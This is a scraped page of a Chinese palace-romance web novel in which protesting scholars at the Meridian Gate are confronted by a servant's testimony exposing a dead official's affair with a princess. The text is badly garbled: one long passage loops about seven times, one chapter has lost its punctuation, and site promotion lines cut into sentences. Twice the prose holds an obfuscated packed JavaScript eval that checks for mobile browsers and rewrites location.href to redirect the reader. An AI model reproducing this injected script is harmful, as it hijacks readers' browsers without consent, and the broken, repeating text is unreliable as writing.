“还不都是你!” 她埋怨道: “突然来这么一出,把人吓死了。这下好了,我这妖妇的名声是坐实了。明日早朝,只怕朝臣们的奏折要像雪片一样落下来了。” 姜玄笑了。 “怕什么,”他说,“万事有我。” 他顿了顿,笑着道: “你是妖妇,我就是昏君。多般配。” 薛嘉言看着他,心里知道他不是这种人。 她低声问: “皇上此举,是为了什么啊?” 姜玄看着她,目光柔和。 “你从前不是说,想要做虢国夫人吗?” 薛嘉言愣住了。 姜玄笑着道: “‘虢国夫人承主恩,平明骑马入宫门’。你不会骑马,我就派香车宝马去接你呗。” 薛嘉言看着他,一时不知道该说什么。 “你倒不怕别人拿东西砸我。”她轻声道。 “怎么会?那些无知小人,动动嘴皮子还行。谁敢真的伤你?既然你说你不怕流言蜚语,那我也就乐得做个昏君。” 姜玄顿了顿: “况且,我跟以前不一样了。朝臣们伪装的面具,才能卸下来。” 说到此,姜玄又笑了起来,他搂着薛嘉言,在她脸上亲了一口。 “你还别说,做昏君的感觉真不错。” 他眨了眨眼睛: “‘春宵苦短日高起,从此君王不早朝’——这种日子我还没过过呢。不如你今晚别走了,明早罢朝!” 薛嘉言知道他就是说说而已。 她没好气地指着不远处书案上堆着的一叠奏疏: “你不上朝,也不过是把政事从紫宸殿搬到长宜宫罢了。” 姜玄顺着她的手指看过去。 那书案上,奏疏堆得像小山一样高。 他讪讪地笑了一下。 “嘿嘿……” 薛嘉言又道: “那些朝臣啊,就是看透了你,所以没跟你一直硬杠着。先帝朝时,曾有半年不曾早朝的记录。碰上你这么勤勉的皇帝,他们也怕把你逼急了,撂挑子不干了。” 姜玄哼了一声: “真逼急了,我还真就学先帝,先享受享受帝王生活。” 薛嘉言白了他一眼: “那你得先多选些美人。先帝后宫来来回回可近百位美人呢……” 姜玄连忙摆手:“那我不要。” 他搂紧她,笑着道:“只要你就够了。” 薛嘉言被他搂着,心里暖暖的。 可过了一会儿,她又想起外面那些事。 “午门那些士子们,”她有些担忧地问,“就这么跪着,皇上真的不管吗?” 姜玄:“时辰还没到呢。” 薛嘉言好奇道:“什么时辰?” 姜玄看着她,目光幽深:“再等等你就知道了。” 长乐宫里,茶香袅袅,可那香气里,透着一股说不出的冷意。 太后端坐上首,手里捧着一盏茶,却一口没喝。 沁芳跪在下首,把今日朝堂上的事,一五一十地禀报了。 皇帝在朝堂上如何驳斥邹子墨,如何说出“前年寒灾薛氏捐粮捐衣”的话,如何把那些跪谏的士子发配去通县灭蝗。 还有—— 那辆金车。 那六匹“照夜雪狮子”。 那从午门招摇过市、停在戚家门口、把薛氏接进宫的香车宝马。 第309章 以我血,谏明君! 太后听完,沉默了很长时间。 然后她笑了。 “好。好得很。” 沁芳低着头,大气不敢出。 太后站起身,走到窗前,看着窗外的阳光。 “他为了一个克夫、秽乱人伦的寡妇,不惜与满朝文武对立,不惜背负‘昏君’骂名……” 她顿了顿,伸手从窗前的菊盆里,折下一朵盛开的菊花。 那菊花金灿灿的,开得正好。 太后看着那朵花,忽然用力一攥。 柔软的花瓣在她掌心散开,发出轻微的“噗”声。 她松开手。 那些松散的花瓣,飘飘扬扬地落下来,落在地上。 “那哀家就给他添把火。” 沁芳的心猛地一跳。 太后没有回头,只是背对着她,声音平静道:“让人去告诉燕奉——自古不流血便能成事者,寥寥无几。他该知道,怎么做才能撼动君心。” 沁芳深深低下头,应了一声: “是。” 午门外,黑压压跪了一片。 太阳已经偏西了,可那些跪着的人,还跪在那里。 他们跪了快两个时辰了,从辰时跪到现在,足足四个时辰。 昨夜亢奋多思,今晨粒米未进,此刻,那些年轻的士子们,一个个脸色发白,嘴唇干裂,膝盖已经麻得快没知觉了。 原本以为,皇帝年轻,临朝时间也不长,薛氏不过是个皇帝养在外面的女子,只要杀了她,一切都过去了,他们这么多士子跪立午门,声势浩大,皇帝肯定会妥协的。 历朝历代,士子联名上书,哪次不是闹得轰轰烈烈?哪次不是皇帝让步? 可这一次…… 皇帝不仅不搭理他们,还骂了上奏的朝臣,早早退朝,甚至还要把他们赶到通县去灭蝗。 更可气的是,皇帝竟派了香车宝马,招摇过市,只为了让那个妖妇当着朝臣、百姓的面堂而皇之地入宫。 皇帝丝毫不曾将他们的上谏放在眼里,有人心里开始打鼓了,他们偷偷看了看四周,看了看那些还在跪着的同窗们,想说什么,可默默吞下了想要说的话。 不能退。 退了,就前功尽弃了。 退了,就成笑话了。 跪吧,继续跪吧,反正不是自己一人受罪,这几百人里不乏世家大族的子弟,他们的师长总要发力的。 人群中,有一双眼睛,一直在观察着这一切。那眼睛藏在不起眼的角落里,相貌平平,看着只是普通百姓。没人知道,这人正是观星台的探子——严舟。 严舟已经在人群中站了很久,看着那些士子从热血沸腾,到疲惫不堪,到开始动摇。 他等的,就是这个时候。 严舟的目光,落在跪在燕奉身侧的一个人身上。 那人姓何,名维,国子监的监生,生得斯文清秀,看起来和周围的士子没什么两样。 严舟对着何维,几不可察地点了点头。 何维看见了,他微微垂下眼,表示会意。 然后,他动了,稍稍侧身,凑近燕奉。 他的声音压得很低,低得只有两个人能听见。 “燕兄。” 燕奉转过头,看着他。 何维的目光里,有一丝旁人看不懂的东西。 “看情形,陛下用的是拖字诀。” 燕奉的眉头紧锁。 何维继续道: “陛下想要拖到我等支撑不住,自行散去。若真如此,我等今日所做一切,便全都白费,徒增天下笑柄。” 燕奉咬了咬牙,他当然知道,他就是怕这个。 “燕某也是这么想的。”他哑声道。 何维看着他,目光忽然变得很深。 “燕兄。” 他的声音更低了。 “自古以来,士子上谏得到结果的,无一例外——” 他顿了顿。 “都是以血铸就的。” 燕奉愣住了。 何维一字一顿:“何某不才,愿以我血,为百姓谋一点光明。” 燕奉的眼睛猛地睁大。 “何兄!” 他一把抓住何维的胳膊,声音发颤。 “此事乃燕某挑起,怎么能由你流血?” 他的眼眶开始发红,“况且你已成家,上有高堂,下有家眷,怎可让她们为你担忧?” 他松开手,深吸一口气,“燕某孤身一人,无牵无挂。” 他抬起头,看了看不远处的午门城墙。城墙很高,很厚,大门紧闭着,等着有人去叩开。 燕奉深深吸了一口气。 然后,他站了起来。 燕奉站起身的那一瞬,所有人的目光都聚焦在他身上。 跪着的士子、围观的百姓、躲在远处偷看的各府耳目、午门上那些禁军…… 所有人都在看着燕奉,燕奉不由热血起来。 他转过身,面朝众人,胸膛剧烈起伏着,眼睛亮得像烧着火。 “诸位同窗!诸位父老乡亲!” 人群安静下来。 “我等在此跪谏,为的是什么?” 他顿了顿,自己回答: “为的不是一己私怨!不是沽名钓誉!” 他的声音越来越高: “是为礼教纲常!是为苍天示警!是为天下苍生!” “蝗灾遍野,妖星现世!薛氏失德,祸乱朝纲!” “陛下受其蒙蔽,置我等忠言于不顾,视万民疾苦为无物!” 他的眼眶开始发红。 “我等苦谏半日,换来的却是宝马香车,美人入宫——” 他的声音忽然拔高,像惊雷一样炸开: “陛下不醒悟,上天不宽恕,灾祸不消退!” “今日,燕奉不才,愿以一死——” 他深吸一口气,声音嘶哑却铿锵: “血溅午门!以我残躯,叩醒君王!” “若我一死,能换陛下处死妖妇,能消天灾,能安万民——” “燕奉,死而无憾!” 他声泪俱下,字字泣血。 不少士子听得热泪盈眶,情绪被瞬间点燃。 有人跟着高喊: “以我血,谏明君!” “以我命,护苍生!” 呼声再起,一浪高过一浪。 燕奉说完,转身便朝着午门城墙狂奔而去。 青衫在风中猎猎作响。 他跑得很快,快得像一阵风,他要以血叩开宫门。 可刚冲出两步—— “砰!” 他狠狠撞进一个坚实宽阔的胸膛之中。 那胸膛硬得像一堵墙。 燕奉被撞得一个踉跄,可他顾不得疼,闷头就要继续往前冲。 嘴里嘶声高喊: “以我血,谏明君——” 燕奉的手腕猛地被人死死扣住,力道之大,几乎要捏碎他的骨头。 第310章 阿吉 燕奉的手腕被苗菁攥得生疼蹙眉抬眼看了看眼前人只见此人身材高大身着飞鱼服腰挂绣春刀原来是锦衣卫。 燕奉想起昨夜那些黑衣人说的话—— “锦衣卫秘密搜集了许多朝臣不为人知的秘密逼得大家不得不噤声。” “那些见不得人的勾当他们都记着呢。谁敢开口他们就拿出来威胁谁。” 他疼得额角渗出冷汗可心里的火却烧得更旺了。他冷笑着 “你也不过是一条狗——呸!” 苗菁的眼睛里没有愤怒没有**甚至没有一丝波澜。 “燕举人”他的声音很平静“倘若你这血流了青史没能留美名倒是留下骂名——你觉得值得吗?” 燕奉愣了一瞬很快反应过来“为弱势者谋公道”他梗着脖子道“何骂之有?” 苗菁看着他嘴角微微弯起一个弧度笑容里有一丝嘲讽也有一丝怜悯。 “你又怎知你助的是弱者?” 他的声音不高却一字一字钉进燕奉耳朵里: “倘若是有心人谋算而你不过是其中一枚棋子不过是旁人**权术的工具——” 他顿了顿。 “燕举人你可甘心?” 燕奉的眼睛猛地睁大。 苗菁松开了手。 燕奉的手腕获得自由却忘了去揉。 他只是呆呆地站在那里看着苗菁脑子里乱成一团。 苗菁看着他目光幽深。 “既心中已起疑”他说“且安心站在一旁听听明白人怎么说。” 燕奉张了张嘴想说些什么可什么都说不出来。 鬼使神差的刚刚还一心要以血谏上的他此刻竟像是被人抽去了全身的力气默默地退到一旁。 那些跪着的士子们面面相觑。 燕兄……怎么了?为什么不冲了? **的脸色微微变了变。 紧接着苗菁扬声道:“诸位本官知道大家心中为死去的戚大人鸣不平。今日本官便在这午门前把戚大人的事情说与诸位知。” 他顿了顿抬起手。 “带人上来!” 一声令下人群自动让开一条路几个锦衣卫押着一个年轻人走了上来。 那人穿着一身灰扑扑的旧衣头发乱糟糟的面色蜡黄眼窝深陷像是许久没有好好吃过一顿饭、睡过一个囫囵觉。他被推着踉跄了两步站定 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 时整个人都在微微发抖。 人群里忽然有人惊呼了一声。 “咦那不是戚大人的小厮吗?” “是啊是啊那不是阿吉小哥吗?” 人群中元宝胡同的街坊邻居们一眼就认出来阿吉。 戚少亭在京城混了十几年从读书到中举到进士到入仕同窗不少朋友不少在顺天府和鸿胪寺任职时来往的官员也不少。 认识他的人 而阿吉这个整日跟在他左右的人那张脸那些街坊邻居早就看熟了。 “他怎么变成这样了?” “失踪了好久了吧?戚家不是还报过官说是逃奴?” “对对对我记起来了是有这么回事!” 议论声嗡嗡地响起来。 苗菁抬起手压了压那些声音。 他走到阿吉面前居高临下地看着他。 “诸位说得不错。这位就是戚大人的长随王吉。戚大人死后这位长随也就消失了。戚家倒是去报过官说是抓逃奴。” 他顿了顿声音忽然拔高: “可这厮并不是逃了。他是眼看着主子出事自己害怕远逃他乡去了!” 阿吉低着头肩膀抖得更厉害了。 苗菁看着他冷冷道: “王吉你可知罪?” 阿吉的膝盖一软“扑通”一声跪倒在地。 他伏在地上声音呜咽带着哭腔: “是我……是我没有护好我们大人……我该死……我该死……” 他的肩膀剧烈地抖动着眼泪啪嗒啪嗒落在青石板上。 人群里又是一阵骚动。 “还真是他!” “他跑什么?主子出事他跑什么?” “肯定是心里有鬼!” “说不准是他害的呢!” “别瞎说他一个小厮哪有那个胆子……” 议论声越来越乱。 就在这时一个声音从人群中响起。 “既然你是戚大人的长随你且说说——” 众人循声望去说话的正是**。 他 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那些跪着的士子们,一个个面面相觑,脸上写满了难以置信。 “戚少亭……去青楼?” “守孝期间?饮酒?叫姐儿?” “这……这怎么可能?” “进士出身啊!朝廷命官啊!” “这样的人,也配谈礼法?也配谈纲常?” 有人鄙夷地啐了一口。 有人皱起眉头,满脸嫌恶。 可更多的人,是不信。 “不可能!” 一个年轻的士子猛地站起来,脸涨得通红。 “戚大人好歹也是进士出身,深受圣贤书熏陶!他怎么可能会去那种地方?” “就是!一个小厮的话,能信吗?” “说不准是被人收买了,来污蔑戚大人的!” 人群里的声音越来越乱。 有人信,有人不信,有人将信将疑。 可不管信不信,所有人的目光,都落在那跪在地上的阿吉身上。 第311章 一步踏错,步步错 阿吉跪在那里,一言不发。 **冷笑着,声音里满是讥诮。 “口说无凭!” 他站起身,指着跪在地上的阿吉,对着周围的士子和百姓高声道: “戚大人已然身死,死无对证!你们锦衣卫随便找个人来,往死者身上泼脏水,污他清名——这等手段,也未免太下作了吧?” 不少士子纷纷点头。 “何兄说得对!” “死无对证,谁知道他说的是真是假?” “锦衣卫的人带出来的,能信吗?” 质疑声此起彼伏。 阿吉跪在地上,身子抖得更厉害了。 他猛地抬起头,那张憔悴的脸上满是泪痕。 “绝没有!” 他的声音嘶哑,却一字一字清清楚楚。 “我与大人主仆十年!从他在通州读书时就跟着他,他进京赶考我跟着,他金榜题名我跟着,他入仕为官我还跟着——十年!整整十年!” 他的眼泪顺着脸颊往下淌,滴在青石板上。 “我说的都是实话!若有一句假话——” 他忽然抬起手,指着天。 “叫我死后不入轮回,堕入畜生道!永世不得超生!” 那声音凄厉,像是从胸腔里硬生生挤出来的。 人群里安静了一瞬。 这样的毒誓,可不是随便什么人都敢发的。 阿吉又伏在地上,肩膀剧烈地抖动着。 “大人他……他一步踏错,步步错啊……” 他的声音呜咽,断断续续。 “我虽是奴仆,可看着他那样,我心里也疼……可我没办法……我只是个奴才……我劝不动他……呜呜……” 他哭得伤心,眼泪鼻涕糊了一脸。 众人瞧着他那模样,倒是又信了两分。 一步踏错,步步错? 到底是什么错? 能让一个进士出身的人,在守孝期间跑去青楼? 能让一个朝廷命官,变成那样? 人群里的议论声嗡嗡地响起来。 这时,苗菁又开口了。 “让春意楼的掌柜和玉柳姑娘过来。” 话音落下,人群又是一阵骚动。 不多时,两个人从人群外走了进来。 一个四十多岁的中年男人,生得白白净净,穿着一身靛蓝色的绸衫,脸上带着生意人惯有的和气的笑。 另一个是个女子,二十岁上下的年纪,生得丰腴娇 你的朋友正在书荒,快去帮帮他吧 俏,穿着一身桃红色的衣裙,走起路来袅袅婷婷。她的脸上涂着脂粉,眉眼间带着一股子慵懒的风情。 两人走到苗菁面前,规规矩矩地行礼。 苗菁看着他们,声音平静: “两位刚刚想必听到王吉的话了。你们且说说,他说的可是真的?” 掌柜的抬起头,脸上的笑容收了几分,换上正经的神色。 “禀大人,这位小哥说得句句属实。” 他的声音不高,却清清楚楚。 “当初戚家老爷死得惨,小人也去看过热闹,认得这位戚大人。他来饮酒那几日,小人在柜上亲眼见过。” 他顿了顿,叹了口气。 “说句心里话,小人当时也觉得不妥。孝期饮酒,这要传出去,可是大不孝啊。可那位大人来的时候,面色铁青,看着就让人心里发憷。小人也不敢多劝,只敢陪着笑脸,安排了一间雅间给他。” “那几日,戚大人**喝到咱们打烊还不走。每次都得小人赔着笑脸,三催四请,他才肯走。是以小人印象十分深刻。” 苗菁点了点头。 “那掌柜的可知,戚大人为何心情不佳?” 掌柜的愣了一下,脸上露出一丝古怪的神色。 他看了看一旁的玉柳,又看了看苗菁,呵呵笑了两声。 “这个嘛……” 他搓了搓手,笑得有些暧昧。 “大人问这个,可就得问玉柳姑娘了。小人只知道收钱,不知道别的。” 人群里的目光,齐刷刷地落在玉柳身上。 玉柳站在那里,手里捏着一方帕子,脸上的表情有些不耐烦。 她撇了撇嘴,开口了。 那声音娇娇糯糯的,可话里的内容,却让所有人都愣住了。 “大人,那位戚大人每回来,喝了两杯酒就开始作乱。” 她翻了个白眼。 “咱们做这行的,倒也不惧这个。可戚大人自己起不来,脾气还不好,反倒怪到奴头上。掐得奴身上青一块紫一块的,真真是个疯子!” 满场哗然。 “什么?!” “起不来?” “自己不行,还怪姐儿?” “这……这还是那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阿吉抬起头,泪痕满面。 苗菁看着他,目光幽深。 “你刚才说,你家大人一步踏错,步步错——” 他顿了顿。 “到底是怎么回事?” 人群瞬间安静下来。 所有人都竖起耳朵,屏住呼吸。 阿吉跪在那里,沉默了一会儿。 他的嘴唇动了动,像是在挣扎。 终于,他开口了。 第312章 攀附 阿吉的声音不大,低得像从嗓子眼里挤出来的。 可每一个字,都清清楚楚地落进在场每个人耳中。 “大人……攀上了长公主。” 轰—— 人群里炸开了锅。 “什么?!” “这倒不奇怪,长公主最爱美男子,那位戚大人倒是生的好相貌……” …… 阿吉的声音继续响起,像一记又一记惊雷,劈在每个人头顶。 “为了满足长公主……大人不得已服用了虎狼药。” 他的声音开始发抖。 “那药一开始效果好,大人便常常服用。可到了后来,便不大行了。大人急了,便加量服用……” 他低下头,肩膀抖得厉害。 “这才能让公主得到满足……” 话音落下。 死一般的寂静。 没有人说话。 没有人动。 只有风,吹过午门前的广场,吹起那些青衫的衣角。 那些跪着的士子们,一个个像被定住了一样。 他们的脸上,表情各异。 有人瞪大了眼睛,嘴巴微张,像是被人当头打了一棍。 有人脸色惨白,嘴唇哆嗦着,想说什么却说不出来。 有人低下头去,死死盯着面前的青石板,仿佛那上面能开出花来。 有人浑身发抖,不知是气的还是吓的。 有人面如死灰,像是一瞬间被抽去了所有的力气。 没有人说话。 可那些眼神,那些表情,已经把所有人的心里话都说尽了。 震惊。 难以置信。 羞耻。 愤怒。 他们跪在这里,从辰时跪到日落,喊着要处死薛氏,喊着要维护礼教,喊着要为戚少亭讨一个公道。 可原来,那个戚少亭…… 竟然是这种人? 服用虎狼药攀附长公主、青楼买醉、拿**撒气。 这样的人,也配他们跪? 也配他们喊? 也配他们拿命去保? 燕奉站在那里,脸色铁青。 他的嘴唇动了动,想说什么。 可什么都说不出来。 他只是看着阿吉,看着玉柳,看着那些表情复杂的同窗。 然后他慢慢地,慢慢地——低下头去。 那封他高举了一整天的联名书,从他手里滑落。 落在地 上。 风一吹,那纸页翻了翻,露出上面密密麻麻的名字。 那些名字,此刻看起来,像是一个笑话。 “然后呢?” 苗菁的声音不高,却像一根针,刺破了那片死寂。 阿吉跪在地上,浑身都在发抖。 “新年时……大人连着几日服用了虎狼药。” 他顿了顿,像是在努力回忆。 “可谁知……谁知并没有让长公主满意。” 人群里又是一阵骚动。 阿吉的声音开始发颤: “长公主骂他废物……把他踢下了床……” “既伤了身子,又伤了面子。自那之后,大人好像真的不行了。” “不得已,就去春意楼买醉,又叫了姐儿来验证……” 他忽然捂住脸,呜咽出声: “可大人的身子早就被掏空了,又连着几日寝食不安,酗酒……那天晚上从春意楼出来,半路上大人就不行了……” 他抬起头,满脸泪痕: “我……我实在太害怕了……” “我怕背上害主的罪名,只好偷偷跑了……呜呜……” 他伏在地上,放声大哭。 那哭声凄厉,像是把这几年的恐惧、愧疚、煎熬,全都哭了出来。 伴随着阿吉的哭声,议论声才渐渐响起来。 “长公主……竟然是长公主……” “那可是先帝的亲妹妹,当今圣上的姑母啊!” “难怪戚少亭能从一个寒门子弟,做到鸿胪寺丞……” “原来是攀上了这根高枝。” 有人压低声音,神神秘秘地讨论着。 “我早就听说了,长公主府里养着好些个面首,夜夜笙歌……” “嘘!你不要命了!” “怕什么?这事儿谁不知道?长公主的名声,早就‘有口皆碑’了!” 有人嗤笑一声: “可不是嘛!我可瞧见过戚大人登长公主府,还不止一回!” “对对对!我也见过!隔三差五就往那边跑,我还当他是去办什么公务呢!” “什么公务?鸿胪寺跟长公主府有什么公务可办?” 议论声越来越大,越来越杂。 可没有人怀疑阿吉的话。 谁敢拿长公主做幌子? 那是先帝的亲女儿,今上的姐姐,纵是锦衣卫,也不敢随便拿长公主出来挡剑。 更何况,长公主的名声,本来就是那样。 养面首,蓄男宠,夜夜笙歌。 这些事,京城里的人谁不知道?戚少亭与她有一腿,一点也不意外。 就在这时,一个声音响了起来。 “即便如此——” 所有人的目光循声望去。 是**。 他站在人群中,脸色铁青。 “薛氏也不该在两重孝下与人私通!” 他的声音拔高了: “戚少亭再有错,那也是他的事!薛氏失德,是铁一般的事实!” 他指着午门的方向,声音嘶哑: “若不严惩薛氏,礼教败坏,何以治国?!” 人群里又是一阵骚动。 有人开始点头。 “何兄说得对……” “一码归一码……” 可那声音,稀稀落落的。 再也没有之前的气势了。 那些士子们你看看我,我看看你。 有人想跟着喊,可张了张嘴,又闭上了。 苗菁的声音不高,却像一块石头砸进了沸腾的水里。 “诸位不知——” 他顿了顿,目光扫过那些跪着的士子,扫过那些议论纷纷的百姓。 “薛氏并未违反两重孝。她与陛下生情,乃是出了孝期之后。” 满场哗然。 “什么?” “出了孝期?” “不可能吧?” 那些士子们纷纷掰着指头算起来。 怎么算,也没有出孝期啊! 有人开始小声嘀咕: “三年孝期,这才一年多……” “对啊!怎么可能出了孝期?” “锦衣卫这是在睁眼说瞎话吗?” 质疑声越来越多。 苗菁站在那里,脸上没有任何表情。 等那些声音渐渐平息下来,他才又开口。 “诸位——” 他的声音依旧不高,却让所有人都不由自主地安静下来。 “薛氏是肃国公府大老爷平妻所出的女儿。与戚少亭成亲时,戚少亭不过是个刚刚中举的贫家子。” 养面首,蓄男宠,夜夜笙歌。 这些事,京城里的人谁不知道?戚少亭与她有一腿,一点也不意外。 就在这时,一个声音响了起来。 “即便如此——” 所有人的目光循声望去。 是**。 他站在人群中,脸色铁青。 “薛氏也不该在两重孝下与人私通!” 他的声音拔高了: “戚少亭再有错,那也是他的事!薛氏失德,是铁一般的事实!” 他指着午门的方向,声音嘶哑: “若不严惩薛氏,礼教败坏,何以治国?!” 人群里又是一阵骚动。 有人开始点头。 “何兄说得对……” “一码归一码……” 可那声音,稀稀落落的。 再也没有之前的气势了。 那些士子们你看看我,我看看你。 有人想跟着喊,可张了张嘴,又闭上了。 苗菁的声音不高,却像一块石头砸进了沸腾的水里。 “诸位不知——” 他顿了顿,目光扫过那些跪着的士子,扫过那些议论纷纷的百姓。 “薛氏并未违反两重孝。她与陛下生情,乃是出了孝期之后。” 满场哗然。 “什么?” “出了孝期?” “不可能吧?” 那些士子们纷纷掰着指头算起来。 怎么算,也没有出孝期啊! 有人开始小声嘀咕: “三年孝期,这才一年多……” “对啊!怎么可能出了孝期?” “锦衣卫这是在睁眼说瞎话吗?” 质疑声越来越多。 苗菁站在那里,脸上没有任何表情。 等那些声音渐渐平息下来,他才又开口。 “诸位——” 他的声音依旧不高,却让所有人都不由自主地安静下来。 “薛氏是肃国公府大老爷平妻所出的女儿。与戚少亭成亲时,戚少亭不过是个刚刚中举的贫家子。” 养面首,蓄男宠,夜夜笙歌。 这些事,京城里的人谁不知道?戚少亭与她有一腿,一点也不意外。 就在这时,一个声音响了起来。 “即便如此——” 所有人的目光循声望去。 是**。 他站在人群中,脸色铁青。 “薛氏也不该在两重孝下与人私通!” 他的声音拔高了: “戚少亭再有错,那也是他的事!薛氏失德,是铁一般的事实!” 他指着午门的方向,声音嘶哑: “若不严惩薛氏,礼教败坏,何以治国?!” 人群里又是一阵骚动。 有人开始点头。 “何兄说得对……” “一码归一码……” 可那声音,稀稀落落的。 再也没有之前的气势了。 那些士子们你看看我,我看看你。 有人想跟着喊,可张了张嘴,又闭上了。 苗菁的声音不高,却像一块石头砸进了沸腾的水里。 “诸位不知——” 他顿了顿,目光扫过那些跪着的士子,扫过那些议论纷纷的百姓。 “薛氏并未违反两重孝。她与陛下生情,乃是出了孝期之后。” 满场哗然。 “什么?” “出了孝期?” “不可能吧?” 那些士子们纷纷掰着指头算起来。 怎么算,也没有出孝期啊! 有人开始小声嘀咕: “三年孝期,这才一年多……” “对啊!怎么可能出了孝期?” “锦衣卫这是在睁眼说瞎话吗?” 质疑声越来越多。 苗菁站在那里,脸上没有任何表情。 等那些声音渐渐平息下来,他才又开口。 “诸位——” 他的声音依旧不高,却让所有人都不由自主地安静下来。 “薛氏是肃国公府大老爷平妻所出的女儿。与戚少亭成亲时,戚少亭不过是个刚刚中举的贫家子。” 养面首,蓄男宠,夜夜笙歌。 这些事,京城里的人谁不知道?戚少亭与她有一腿,一点也不意外。 就在这时,一个声音响了起来。 “即便如此——” 所有人的目光循声望去。 是**。 他站在人群中,脸色铁青。 “薛氏也不该在两重孝下与人私通!” 他的声音拔高了: “戚少亭再有错,那也是他的事!薛氏失德,是铁一般的事实!” 他指着午门的方向,声音嘶哑: “若不严惩薛氏,礼教败坏,何以治国?!” 人群里又是一阵骚动。 有人开始点头。 “何兄说得对……” “一码归一码……” 可那声音,稀稀落落的。 再也没有之前的气势了。 那些士子们你看看我,我看看你。 有人想跟着喊,可张了张嘴,又闭上了。 苗菁的声音不高,却像一块石头砸进了沸腾的水里。 “诸位不知——” 他顿了顿,目光扫过那些跪着的士子,扫过那些议论纷纷的百姓。 “薛氏并未违反两重孝。她与陛下生情,乃是出了孝期之后。” 满场哗然。 “什么?” “出了孝期?” “不可能吧?” 那些士子们纷纷掰着指头算起来。 怎么算,也没有出孝期啊! 有人开始小声嘀咕: “三年孝期,这才一年多……” “对啊!怎么可能出了孝期?” “锦衣卫这是在睁眼说瞎话吗?” 质疑声越来越多。 苗菁站在那里,脸上没有任何表情。 等那些声音渐渐平息下来,他才又开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292158|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诸位——” 他的声音依旧不高,却让所有人都不由自主地安静下来。 “薛氏是肃国公府大老爷平妻所出的女儿。与戚少亭成亲时,戚少亭不过是个刚刚中举的贫家子。” 养面首,蓄男宠,夜夜笙歌。 这些事,京城里的人谁不知道?戚少亭与她有一腿,一点也不意外。 就在这时,一个声音响了起来。 “即便如此——” 所有人的目光循声望去。 是**。 他站在人群中,脸色铁青。 “薛氏也不该在两重孝下与人私通!” 他的声音拔高了: “戚少亭再有错,那也是他的事!薛氏失德,是铁一般的事实!” 他指着午门的方向,声音嘶哑: “若不严惩薛氏,礼教败坏,何以治国?!” 人群里又是一阵骚动。 有人开始点头。 “何兄说得对……” “一码归一码……” 可那声音,稀稀落落的。 再也没有之前的气势了。 那些士子们你看看我,我看看你。 有人想跟着喊,可张了张嘴,又闭上了。 苗菁的声音不高,却像一块石头砸进了沸腾的水里。 “诸位不知——” 他顿了顿,目光扫过那些跪着的士子,扫过那些议论纷纷的百姓。 “薛氏并未违反两重孝。她与陛下生情,乃是出了孝期之后。” 满场哗然。 “什么?” “出了孝期?” “不可能吧?” 那些士子们纷纷掰着指头算起来。 怎么算,也没有出孝期啊! 有人开始小声嘀咕: “三年孝期,这才一年多……” “对啊!怎么可能出了孝期?” “锦衣卫这是在睁眼说瞎话吗?” 质疑声越来越多。 苗菁站在那里,脸上没有任何表情。 等那些声音渐渐平息下来,他才又开口。 “诸位——” 他的声音依旧不高,却让所有人都不由自主地安静下来。 “薛氏是肃国公府大老爷平妻所出的女儿。与戚少亭成亲时,戚少亭不过是个刚刚中举的贫家子。” 养面首,蓄男宠,夜夜笙歌。 这些事,京城里的人谁不知道?戚少亭与她有一腿,一点也不意外。 就在这时,一个声音响了起来。 “即便如此——” 所有人的目光循声望去。 是**。 他站在人群中,脸色铁青。 “薛氏也不该在两重孝下与人私通!” 他的声音拔高了: “戚少亭再有错,那也是他的事!薛氏失德,是铁一般的事实!” 他指着午门的方向,声音嘶哑: “若不严惩薛氏,礼教败坏,何以治国?!” 人群里又是一阵骚动。 有人开始点头。 “何兄说得对……” “一码归一码……” 可那声音,稀稀落落的。 再也没有之前的气势了。 那些士子们你看看我,我看看你。 有人想跟着喊,可张了张嘴,又闭上了。 苗菁的声音不高,却像一块石头砸进了沸腾的水里。 “诸位不知——” 他顿了顿,目光扫过那些跪着的士子,扫过那些议论纷纷的百姓。 “薛氏并未违反两重孝。她与陛下生情,乃是出了孝期之后。” 满场哗然。 “什么?” “出了孝期?” “不可能吧?” 那些士子们纷纷掰着指头算起来。 怎么算,也没有出孝期啊! 有人开始小声嘀咕: “三年孝期,这才一年多……” “对啊!怎么可能出了孝期?” “锦衣卫这是在睁眼说瞎话吗?” 质疑声越来越多。 苗菁站在那里,脸上没有任何表情。 等那些声音渐渐平息下来,他才又开口。 “诸位——” 他的声音依旧不高,却让所有人都不由自主地安静下来。 “薛氏是肃国公府大老爷平妻所出的女儿。与戚少亭成亲时,戚少亭不过是个刚刚中举的贫家子。” 养面首,蓄男宠,夜夜笙歌。 这些事,京城里的人谁不知道?戚少亭与她有一腿,一点也不意外。 就在这时,一个声音响了起来。 “即便如此——” 所有人的目光循声望去。 是**。 他站在人群中,脸色铁青。 “薛氏也不该在两重孝下与人私通!” 他的声音拔高了: “戚少亭再有错,那也是他的事!薛氏失德,是铁一般的事实!” 他指着午门的方向,声音嘶哑: “若不严惩薛氏,礼教败坏,何以治国?!” 人群里又是一阵骚动。 有人开始点头。 “何兄说得对……” “一码归一码……” 可那声音,稀稀落落的。 再也没有之前的气势了。 那些士子们你看看我,我看看你。 有人想跟着喊,可张了张嘴,又闭上了。 苗菁的声音不高,却像一块石头砸进了沸腾的水里。 “诸位不知——” 他顿了顿,目光扫过那些跪着的士子,扫过那些议论纷纷的百姓。 “薛氏并未违反两重孝。她与陛下生情,乃是出了孝期之后。” 满场哗然。 “什么?” “出了孝期?” “不可能吧?” 那些士子们纷纷掰着指头算起来。 怎么算,也没有出孝期啊! 有人开始小声嘀咕: “三年孝期,这才一年多……” “对啊!怎么可能出了孝期?” “锦衣卫这是在睁眼说瞎话吗?” 质疑声越来越多。 苗菁站在那里,脸上没有任何表情。 等那些声音渐渐平息下来,他才又开口。 “诸位——” 他的声音依旧不高,却让所有人都不由自主地安静下来。 